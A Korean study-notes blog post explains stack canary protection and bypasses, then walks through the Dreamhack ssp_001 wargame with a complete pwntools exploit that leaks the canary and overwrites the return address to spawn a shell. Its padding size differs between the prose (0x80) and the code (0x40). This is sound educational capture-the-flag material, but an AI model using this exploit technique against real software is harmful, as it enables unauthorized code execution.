TIL : Stack Canary 🐤

https://dreamhack.io/lecture/courses/112

Stack Canary

Stack canary는 function의 prologue에서 stack buffer와 return address 사이에 임의의 값을 삽입하고, function의 epilogue에서 해당 값이 변경되었는지를 확인하는 보호 기법이다.

Assembly 비교

Ubuntu 18.04의 gcc는 기본적으로 stack canary를 적용한다. compile option으로 -fno-stack-protector를 추가하여 canary를 비활성화할 수 있다.

Canary를 비활성화한 경우와 활성화한 경우의 function prologue와 epilogue를 살펴보면 아래와 같다.

  • canary.asm
push   rbp
mov    rbp,rsp
sub    rsp,0x10
mov    rax,QWORD PTR fs:0x28
mov    QWORD PTR [rbp-0x8],rax
xor    eax,eax
lea    rax,[rbp-0x10]
mov    edx,0x20
mov    rsi,rax
mov    edi,0x0
call   read@plt
mov    eax,0x0
mov    rcx,QWORD PTR [rbp-0x8]
xor    rcx,QWORD PTR fs:0x28
je     0x6f0 <main+70>
call   __stack_chk_fail@plt
leave
ret
  • no_canary.asm
push   rbp
mov    rbp,rsp
sub    rsp,0x10
lea    rax,[rbp-0x8]
mov    edx,0x20
mov    rsi,rax
mov    edi,0x0
call   read@plt
mov    eax,0x0
leave
ret

Canary가 활성화될 경우, function prologue에서 stack 상의 rbp-0x8fs:0x28에 저장된 data를 넣고, function epilogue에서 이 값이 기존의 값과 같은지를 확인하는 과정을 가짐을 알 수 있다.

Canary 생성 과정

Canary는 process가 시작될 때 TLS에 전역 변수로 저장되고, 각 function의 prologue와 epilogue에서 이 값을 참조한다.

TLS의 주소 파악

fs가 TLS를 가리키므로 fs의 값을 알면 TLS의 주소를 알 수 있으나, fs는 일반적인 방식으로 값을 알 수 없다. 대신, fs의 값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr) system call에 break point를 설정하여 fs의 값을 알아볼 수 있다. (arch_prctl(ARCH_SET_FS, addr)fs의 값을 addr로 설정한다.)

$ gdb -q ./canary
pwndbg> catch syscall arch_prctl
Catchpoint 1 (syscall 'arch_prctl' [158])
pwndbg> run

catchpoint에서 rsi의 값이 TLS의 값이고, fs는 이를 가리키게 된다.

Catchpoint 1 (call to syscall arch_prctl), 0x00007ffff7dd6024 in init_tls () at rtld.c:740
740	rtld.c: No such file or directory.
  0x7ffff7dd4024 <init_tls+276>    test   eax, eax
   0x7ffff7dd4026 <init_tls+278>    je     init_tls+321 <init_tls+321>
   0x7ffff7dd4028 <init_tls+280>    lea    rbx, qword ptr [rip + 0x22721]
pwndbg> info register $rdi
rdi            0x1002   4098          // ARCH_SET_FS = 0x1002
pwndbg> info register $rsi
rsi            0x7ffff7fdb4c0   140737354032320 
pwndbg> x/gx 0x7ffff7fdb4c0+0x28
0x7ffff7fdb4e8:	0x0000000000000000

canary가 저장될 fs+0x28에는 아직 어떠한 값도 저장되어있지 않다.

Canary 값 설정

gdb의 watch 명령어는 특정 주소에 저장된 값이 변경되면 process를 중단한다.

pwndbg> watch *(0x7ffff7fdb4c0+0x28)
Hardware watchpoint 4: *(0x7ffff7fdb4c0+0x28)

watchpoint에서 TLS+0x28의 값을 조회하면 canary의 값을 확인할 수 있다.

Canary의 첫 바이트는 일반적으로 \x00이다. → attcker의 payload 내에 string의 terminator character 중 하나가 포함되면 거기서 입력이 끊어지는 점을 이용해 canary를 overwrite하는 것을 방지하기 위함임.

Canary 우회

Brute Force

x64 architecture에서는 8 byte의 canary가, x86 architecture에서는 4 byte의 canary가 생성된다. 각 canary에는 NULL byte가 포함되므로 실제로는 각각 7 byte, 3 byte의 random value가 포함된다. → 현실적으로 brute force로는 알아내기 힘들다.

TLS 접근

TLS의 주소는 매 실행마다 바뀌지만, 실행 중에 TLS의 주소를 알 수 있고 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 canary 값을 읽거나 변경할 수 있다. 그 뒤 stack buffer overflow를 일으킬 때 canary 값을 TLS에서 읽어낸 값 혹은 조작한 값으로 덮어 쓰면 canary 검사를 우회할 수 있다.

Stack canary leak

Stack 상의 canary를 읽을 수 있는 취약점이 있다면, 이를 이용한다.

  • Buffer overflow를 통해 canary 내의 NULL byte만을 지워 canary에 접근해 canary를 읽고, 다시 buffer를 overwrite하여 canary의 값을 복구하여 canary 검사를 우회할 수 있다.

Wargame: ssp_001

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

Vulnerability Scanning

Print the box 메뉴를 통해 canary에 접근할 수 있고, Exit 메뉴를 통해 stack buffer overflow를 일으킬 수 있다.

따라서 canary의 값을 우선 읽어내고, 이 canary의 값을 payload에 포함하여 canary와 return address를 원하는 값으로 overwrite한다.

Stack frame 구조 파악하기

gdb를 통해 memory의 구조를 파악하면, stack의 구조가 아래와 같음을 알 수 있다.

STACK (위쪽이 stack top)
box[0x40]
name[0x40]
CANARY (0x4 bytes)
dummy data (0x4 bytes)
SFP (0x4 bytes)
RET (0x4 bytes)

Shellcode

문제에서 get_shell() 함수가 주어지므로 gdb로 get_shell()의 주소만 확인하면 된다. 이 과정 역시 exploit code에 포함할 수 있다. (후술)

Payload 구성하기

Stack frame의 구조에 맞추어 dummy data 0x80 bytes + 읽어낸 canary + dummy data 0x8 bytes + get_shell의 address로 구성하면 된다.

Exploit

Menu 상의 print the box를 이용해 canary를 한 byte씩 읽어낼 수 있다. 이를 통해 canary를 획득한다. 이후 payload를 작성해 exploit한다.

from pwn import *

p = remote("host3.dreamhack.games", 14769)
#p = process("./ssp_001")
e = ELF("./ssp_001")

get_shell = e.symbols["get_shell"]

p.recvuntil("[E]xit")
p.sendline("P")
p.recvuntil("index : ")
p.sendline("131")
p.recvuntil(" is : ")
cnry = p.recvn(2)

p.recvuntil("[E]xit")
p.sendline("P")
p.recvuntil("index : ")
p.sendline("130")
p.recvuntil(" is : ")
cnry += p.recvn(2)

p.recvuntil("[E]xit")
p.sendline("P")
p.recvuntil("index : ")
p.sendline("129")
p.recvuntil(" is : ")
cnry += p.recvn(2)

cnry += b'00'

payload = b"A"*0x40             # |    name    | <= "A" * 0x40
payload += p32(int(cnry, 16))   # |   Canary   | <= Canary
payload += b"A"*0x8             # | SFP & dummy| <= "A" * 0x8
payload += p32(get_shell)       # | Return addr| <= &get_shell

p.recvuntil("[E]xit")
p.sendline("E")
p.recvuntil("Name Size : ")
p.sendline(str(len(payload)))
p.recvuntil("Name : ")

p.sendline(payload)

p.interactive()

e = ELF("./ssp_001")get_shell = e.symbols["get_shell"] 를 통해 gdb를 사용하지 않고서도 symbol의 주소를 알아낼 수 있다.

Leave a comment